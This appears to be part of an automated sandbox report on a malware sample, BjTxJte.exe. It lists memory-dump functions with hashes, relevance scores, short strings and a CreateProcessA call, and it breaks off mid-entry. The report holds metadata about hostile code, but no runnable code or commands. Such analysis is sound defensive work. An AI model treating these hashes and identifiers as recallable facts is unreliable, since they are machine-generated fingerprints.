
Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e9a655ba759e944ee76ee78aa41b6e7a9379b55cbd4e0b9c5c3cab166984090
Instruction ID: 38d94c1fde37026eb16ca2fbde763b238f10c3cb7d6bb12bcab4360177e434af
Opcode Fuzzy Hash: 2e9a655ba759e944ee76ee78aa41b6e7a9379b55cbd4e0b9c5c3cab166984090
Instruction Fuzzy Hash: B2319E30E002099BCB58DF69D89469EBBB2FF89310F108529F916E7750DB71ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F42088 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91f98d83cacbe7eece1c806485eb440a5a6d8905d199590864d007618d27e0c7
Instruction ID: 907aaeb54e3ad86f6d310dc0009ec2189e015d28201523effba9b46c3bf4d22f
Opcode Fuzzy Hash: 91f98d83cacbe7eece1c806485eb440a5a6d8905d199590864d007618d27e0c7
Instruction Fuzzy Hash: 73318E30E102099BDB19DF69D99469EBBB2FF89300F108529F916E7750DB71ED42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06F43E88 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45c8c3296b76e2c36a34d724d9d4d45d7bc0c9d7b78efe6198668797a30b6c05
Instruction ID: cf3d0006820e30a954d1c657b29d66238d412890bf97d7bbc7b3bc6c92872ec5
Opcode Fuzzy Hash: 45c8c3296b76e2c36a34d724d9d4d45d7bc0c9d7b78efe6198668797a30b6c05
Instruction Fuzzy Hash: 22218976F112159FEB50DFAAD980BAEBBF1FB48610F108029E905EB791E734DD408B90

Uniqueness

Uniqueness Score: -1.00%

Function 01ADD20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3280599696.0000000001ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1add000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e60bba52abeb6d17be525dcd3ad50b970a4cff58e2c624ef6e520e93ecf5e3db
Instruction ID: b9bcb53b67eec6a2b8a57d7b707c7726ffc6ad5801d739bac5ce8103f6064e75
Opcode Fuzzy Hash: e60bba52abeb6d17be525dcd3ad50b970a4cff58e2c624ef6e520e93ecf5e3db
Instruction Fuzzy Hash: 9221F371504644DFDB05DF98D9C4F26BF65FB88334F24C669E94A0B286C37AD406CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01ADD3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3280599696.0000000001ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1add000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4e4ba72ef1f5f2706df26137d392f6a5bfb5bac2d16bb3882ba79550f74c73
Instruction ID: fd68582a9ae721fb07c42138a6b4b89339de0bd745b915d004b7d08ad9c24e26
Opcode Fuzzy Hash: 4f4e4ba72ef1f5f2706df26137d392f6a5bfb5bac2d16bb3882ba79550f74c73
Instruction Fuzzy Hash: F02134B1500604EFCB05CF68D9C0B26BF65FB84314F24C56DD90A0B2D7C37AE406CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 01ADD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3280599696.0000000001ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1add000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f6104d5187bc09416046166afcfc269d8d7173e42440fbe3c49c9f3e25cde99
Instruction ID: 9a782636ea687ce7991cd144b42182f589e87bf0f2455eedc17abe76117e0075
Opcode Fuzzy Hash: 4f6104d5187bc09416046166afcfc269d8d7173e42440fbe3c49c9f3e25cde99
Instruction Fuzzy Hash: AB212271504604AFCB15CFA8C9C0B26BB75FB84324F24C96DE94B0B292C73AD846CA62

Uniqueness

Uniqueness Score: -1.00%

Function 06F43428 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a84658bf7da92591cea45f94f4ecafe0e4e6dd6ee6347ba764becc3eaed79dcb
Instruction ID: 5c9ce96e824c51abe429ddf7d15cc5a8feca259ca93d4c14675021f77ee11033
Opcode Fuzzy Hash: a84658bf7da92591cea45f94f4ecafe0e4e6dd6ee6347ba764becc3eaed79dcb
Instruction Fuzzy Hash: F221D232E002189BCB55EB6ADD409DEFBB5FF89310F1085A9E00AE7354DA319941CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 06F441D1 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f5e5712d17939222bb8a8517ae91346a37a526ad2edc2561c6952ea58e4b0e9
Instruction ID: eca2bfa6169c9a15e9c4ae10a6f9411c01d5e66c9b5aea67f19e84b8c8311bbd
Opcode Fuzzy Hash: 1f5e5712d17939222bb8a8517ae91346a37a526ad2edc2561c6952ea58e4b0e9
Instruction Fuzzy Hash: 38018C35B001111FDB62A5ADAD50BABBBDADFC9620F148429F10ADB751EE29CD0243A1

Uniqueness

Uniqueness Score: -1.00%

Function 06F43F98 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffc9b6d03f35d4177781b224945ebc1a0e1487eb409f623d9900f0e0cb463d3b
Instruction ID: 69c3f9bba36eb58fec624ca887ba47bd50b38c5f1ec6db1d5881ff72e6a9521a
Opcode Fuzzy Hash: ffc9b6d03f35d4177781b224945ebc1a0e1487eb409f623d9900f0e0cb463d3b
Instruction Fuzzy Hash: 2911A132B001244BEF98A669DD546AE77FAEBC8610F008539E506E7358EE79DC028BD1

Uniqueness

Uniqueness Score: -1.00%

Function 06F43C51 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f5232a05cf160252901aac663216c4f78f70c7517830f7c021ba6bb7cb094a
Instruction ID: 99dd78975ad2538d39fe8d66fa3431010efcf5d44933cadea29a540d659739f2
Opcode Fuzzy Hash: d0f5232a05cf160252901aac663216c4f78f70c7517830f7c021ba6bb7cb094a
Instruction Fuzzy Hash: 2D21E0B1D01229ABCB10DF9AD885ACEFFB8FB49310F10812AE918A3240C3756950CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 06F4A2D2 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 164e913a9edb24ed35dded2be26048a5d29a433c087318374b1a4d0c9a5469cd
Instruction ID: 768a6215d382d0918a0c85fb0cc103e0d25315c89630e8622e03f62f6990e03b
Opcode Fuzzy Hash: 164e913a9edb24ed35dded2be26048a5d29a433c087318374b1a4d0c9a5469cd
Instruction Fuzzy Hash: 5101B130B001111FDB61A66DE890B7B7BDAEB85610F208539F50ACB755EA26DC028791

Uniqueness

Uniqueness Score: -1.00%

Function 06F43F87 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf62ff2bac3c840e774967aad4bdb878fb7ae6e7a453b01c3a30ddba5acfb347
Instruction ID: 6b51acd71ebf53fd73ef0317bb0ede99e1f47775c236616672087039c297dd65
Opcode Fuzzy Hash: bf62ff2bac3c840e774967aad4bdb878fb7ae6e7a453b01c3a30ddba5acfb347
Instruction Fuzzy Hash: D201D432B100241BDF98A569EC107FB77BEDBC8650F004135E509E7344EE658C028BE2

Uniqueness

Uniqueness Score: -1.00%

Function 06F4F161 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf5a985d94c8bb84c9abc5706c62af74cb25f4da2329105c5a8181715063767
Instruction ID: f48834b4ddbb5aed484c6d63b11fa041876dd164b733106a291b840c405431d9
Opcode Fuzzy Hash: 0cf5a985d94c8bb84c9abc5706c62af74cb25f4da2329105c5a8181715063767
Instruction Fuzzy Hash: DF01D431F010501BDB65A67CE8A0B3F6BEADBC5720F20842AF10EC7745EA15CD024395

Uniqueness

Uniqueness Score: -1.00%

Function 01ADD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3280599696.0000000001ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1add000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 81f192cc64011b81e4251b7c9e99199603074812ce27c0b0b934ae40163b5155
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: AE11BB75504684CFDB12CF64D9C4B15BFA2FB84324F24C6ADE94A4B292C33AD44ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 01ADD207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3280599696.0000000001ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1add000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 43e27933c65b7fc24c44cf37a4887f3cdb07e3cbef2daf4fe3bd01a7df806057
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: D111BF76504684CFDB12CF54D5C4B16FF71FB84324F24C6AAD84A4B696C33AD40ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01ADD3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3280599696.0000000001ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1add000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 6baae2479632cbc1438ed20e6e3381ee510aa89141f570a89953b99e83a450f0
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 6011BBB5504680DFDB02CF54D5C4B55BFA2FB84314F24C6AAD84A4B297C33AE40ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06F43C58 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be1dd848ff62504b7c25963f0a5cca361ef87fb3bc75ba2abe4f6b37797ac469
Instruction ID: bece4808ff3cfd7ee2a13640fb82db73389eef5d3b4f4eef8dd88857f66159d5
Opcode Fuzzy Hash: be1dd848ff62504b7c25963f0a5cca361ef87fb3bc75ba2abe4f6b37797ac469
Instruction Fuzzy Hash: 0F11A2B5D01259AFCB10DF9AD984ADEFFB4FB49310F10812AE518A7240C3756554CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06F441E0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17f3a1d11359cd33784f70bffa0e8aa2334b0854324f63edde93f56aecdc11de
Instruction ID: 0e9d86d9bb348523168e9ec9f8112651fe8a8743dea61717b793a76312920023
Opcode Fuzzy Hash: 17f3a1d11359cd33784f70bffa0e8aa2334b0854324f63edde93f56aecdc11de
Instruction Fuzzy Hash: EC01D131F000100BDB64A9BD9950B2FB6DBDFC8720F248439E10AD7745EE29DD024391

Uniqueness

Uniqueness Score: -1.00%

Function 06F4C78A Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50bfa4b0db16446b92a8798bd4d5e23817c47a4a1c7d28a1e4adedd47a1baa18
Instruction ID: 6db6326fcbbd370d5379f04f9ce6be58ade014ed2fac3204d199231aa74c765d
Opcode Fuzzy Hash: 50bfa4b0db16446b92a8798bd4d5e23817c47a4a1c7d28a1e4adedd47a1baa18
Instruction Fuzzy Hash: EF01D436E11214ABDB64AA69EC409EE7F69EB85710F00453DF515E7341DB26980187D1

Uniqueness

Uniqueness Score: -1.00%

Function 06F4F170 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de60d334f32de016bf226905d20c3fa89bf70fcad2c76d36b57dcb01880e5078
Instruction ID: 31c265a863e3dc5f3dc575ebc9a0a8b770347d1417ab61eb76848ce73cc2a243
Opcode Fuzzy Hash: de60d334f32de016bf226905d20c3fa89bf70fcad2c76d36b57dcb01880e5078
Instruction Fuzzy Hash: 9E018C71F000101BDB65A62DD9A0B2E6ADAEBC9720F208839E20EC7744EE25DC024395

Uniqueness

Uniqueness Score: -1.00%

Function 06F4A2E0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb2719e9c48dec98a8f9caba836bb7292b2ea492f74bd2d1af5fb26a677eb688
Instruction ID: 0b0b5d9f598f49794d28f31b764001840d8b464a8ff6def30548a99dee62bd30
Opcode Fuzzy Hash: fb2719e9c48dec98a8f9caba836bb7292b2ea492f74bd2d1af5fb26a677eb688
Instruction Fuzzy Hash: 4901A430F000150FEB60E67DE991B2EB7DAEB85710F10883DE50ACBB59EE26DC018784

Uniqueness

Uniqueness Score: -1.00%

Function 06F46450 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b936a788888d13fafa413eed6ac23a2e7306b5ee730583011970d04a2630ba5
Instruction ID: 34108b25d583b1efcce535a7810cc9be104742e8592a77b2019f34398a0735f5
Opcode Fuzzy Hash: 8b936a788888d13fafa413eed6ac23a2e7306b5ee730583011970d04a2630ba5
Instruction Fuzzy Hash: 82E02270D08248ABDF50EFB08C9025A3F6DEB02204F2080E5D404C7202E57ACA0287A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06F47670 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$jq, xrefs: 06F47B29
$jq, xrefs: 06F47760
$jq, xrefs: 06F4779D
$jq, xrefs: 06F47B1D
$jq, xrefs: 06F47791
$jq, xrefs: 06F47BDE
$jq, xrefs: 06F4776C
$jq, xrefs: 06F47BD2
$jq, xrefs: 06F47BBC
$jq, xrefs: 06F47BC8

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3810553869
Opcode ID: 7ce76679c7fbc1f966666971f5e384b9db1635710fdcc7a1464562beacd48e87
Instruction ID: 9e648d56146000d22790df3e1d51d8000af8701cbcd28f0df600879313cc24fa
Opcode Fuzzy Hash: 7ce76679c7fbc1f966666971f5e384b9db1635710fdcc7a1464562beacd48e87
Instruction Fuzzy Hash: CA122C30E00219CFDB64EF69D994A9EBBB6FF89300F208569D505AB764DB359D81CF80

Uniqueness

Uniqueness Score: -1.00%

Function 06F4A900 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$jq, xrefs: 06F4AA02
$jq, xrefs: 06F4AA7C
$jq, xrefs: 06F4AA88
$jq, xrefs: 06F4AA5D
$jq, xrefs: 06F4AABE
$jq, xrefs: 06F4AA51
$jq, xrefs: 06F4AAB2
$jq, xrefs: 06F4A9F6

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-666546452
Opcode ID: 40cd4aedd9b09410c0c5ef20ad7c84a5d4c6cd3612a83ed683619ff05ceda7b4
Instruction ID: 3acc30166ce9b4a020bd7287dd3c5dc981c0d0bfb37d2cb0c1854c90d771a6a9
Opcode Fuzzy Hash: 40cd4aedd9b09410c0c5ef20ad7c84a5d4c6cd3612a83ed683619ff05ceda7b4
Instruction Fuzzy Hash: 46918130E90209DFEB64EF65DA94BAE7BB6FF45300F108529E401AB698DB74DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F47070 Relevance: 7.9, Strings: 6, Instructions: 405COMMON

Download Yara Rule

Strings

$jq, xrefs: 06F47584
$jq, xrefs: 06F473B8
$jq, xrefs: 06F4750C
$jq, xrefs: 06F473AC
$jq, xrefs: 06F47352
$jq, xrefs: 06F47578

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3356825164
Opcode ID: 5ee739ca8b74378025bfa60321dd43a11ea2738b049ba9fef8e5abbc6540b11c
Instruction ID: 93d5930f1a655e9e60a368b158134e9bf79d01b35b3c31b6aad0e985ff45b13b
Opcode Fuzzy Hash: 5ee739ca8b74378025bfa60321dd43a11ea2738b049ba9fef8e5abbc6540b11c
Instruction Fuzzy Hash: F0F13F30B00205CFEB54EFA9E590A6EBBB7FF85300F248569D4059B7A9DB359C42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F483A8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$jq, xrefs: 06F48667
$jq, xrefs: 06F48602
$jq, xrefs: 06F4860E
$jq, xrefs: 06F48673

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: 021eb24356a50081ac0ff9ed4e6b4e8672c3021167ad430a638925159ce89960
Instruction ID: 24eef241d885f08ccc354d12d363e422f33756edf470e9ae27917bfe765f77f3
Opcode Fuzzy Hash: 021eb24356a50081ac0ff9ed4e6b4e8672c3021167ad430a638925159ce89960
Instruction Fuzzy Hash: FCB16B30F002098FDB54EF69D5906AEBBB6FF85350F248829D4169B7A5DB74DC82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06F4AC88 Relevance: 5.2, Strings: 4, Instructions: 177COMMON

Download Yara Rule

Strings

$jq, xrefs: 06F4ADB9
$jq, xrefs: 06F4AE0C
$jq, xrefs: 06F4AE3B
$jq, xrefs: 06F4AE64

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: e5b3f9d44ec6345302e117a36a8d2828541512c7bdbf089711175064b9e886d6
Instruction ID: b6d5e08fe858731dd37e475712316dd92ea7925ca96b53b8d540d1c55c5158b5
Opcode Fuzzy Hash: e5b3f9d44ec6345302e117a36a8d2828541512c7bdbf089711175064b9e886d6
Instruction Fuzzy Hash: 0851C334E402058FDFA4EB69E9806AEBBB6FF85310F108529D816DB759DB35DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F487C0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LRjq, xrefs: 06F488B3
$jq, xrefs: 06F4884B
$jq, xrefs: 06F4883F
LRjq, xrefs: 06F48902

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: LRjq$LRjq$$jq$$jq
API String ID: 0-2974078839
Opcode ID: bfdce5a08486b10763d3cb69a62be22a402d5f661292822dc75e86beac4c0815
Instruction ID: 52bb2a7fc842dee565ee5407012aa9276e70052ff22ade401fb301ce9466b4bb
Opcode Fuzzy Hash: bfdce5a08486b10763d3cb69a62be22a402d5f661292822dc75e86beac4c0815
Instruction Fuzzy Hash: BA51D231B002058FEB58EB78D990A6EBBE6FF84750F10856DD4129B7A9DB75EC00CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjTxJte.exePID: 7240, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	207
Total number of Limit Nodes:	12

Executed Functions

Function 04EB39C8 Relevance: 2.7, Strings: 2, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hnq, xrefs: 04EB3AF6
Hnq, xrefs: 04EB3A90

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID: Hnq$Hnq
API String ID: 0-3075287205
Opcode ID: f096ea641ef4aa0b1b8e4887a4d645ba0b74e3993e9c3d5ec73343f86230e3a0
Instruction ID: 0cc93e03f1bdfa337231ea089d5a3aa5b549a7dd002626cb80d8d6b566f5b09e
Opcode Fuzzy Hash: f096ea641ef4aa0b1b8e4887a4d645ba0b74e3993e9c3d5ec73343f86230e3a0
Instruction Fuzzy Hash: 14817B70E003188FDB04DFA9C8846EEBBF2FF88300F14856AE405AB355DB789905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04EBD5C8 Relevance: 2.6, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 04EBD6F1
4'jq, xrefs: 04EBD714

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 0e3846b52d957595ac01aca46a697a82735b4e5ce754d39df302b7129d95041d
Instruction ID: 8e0683589d91bb171627f01a02c2fea5cbe51970932cac498874889aeafaaaa9
Opcode Fuzzy Hash: 0e3846b52d957595ac01aca46a697a82735b4e5ce754d39df302b7129d95041d
Instruction Fuzzy Hash: D1418231E01B0A9BDB14EFB9D84069DB7B2FF95300F21462AE5057B251EBB47985CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04EBD5D8 Relevance: 2.6, Strings: 2, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 04EBD6F1
4'jq, xrefs: 04EBD714

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 01b878adcd796969fe4ce955009ef2ef8bdd5c64009533048c15b3c34ab7b1e7
Instruction ID: 4894ee3befbb0aea85883470bea9b35fb5a3b06830b34ec6d84dfedd4e493e90
Opcode Fuzzy Hash: 01b878adcd796969fe4ce955009ef2ef8bdd5c64009533048c15b3c34ab7b1e7
Instruction Fuzzy Hash: CD416231E01B1AABDB14EFB9D8406DDB7B2FF94300F214629E5057B251EBB07985CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0548D2A4 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0548D4E6

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 121fdc9c65b303bd7f600451612aff418bd22ee023e0fc246fb3d13cdc1e3f14
Instruction ID: edee15dacecf7c055b02d3eb80e6a379fcaa398ab8bfdf3ff1b5ac18cdc1fc31
Opcode Fuzzy Hash: 121fdc9c65b303bd7f600451612aff418bd22ee023e0fc246fb3d13cdc1e3f14
Instruction Fuzzy Hash: C3A18B71D01219DFDB24DF68C845BEEBBB2BF48314F1481AAD809A7390DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0548D2B0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0548D4E6

Memory Dump Source

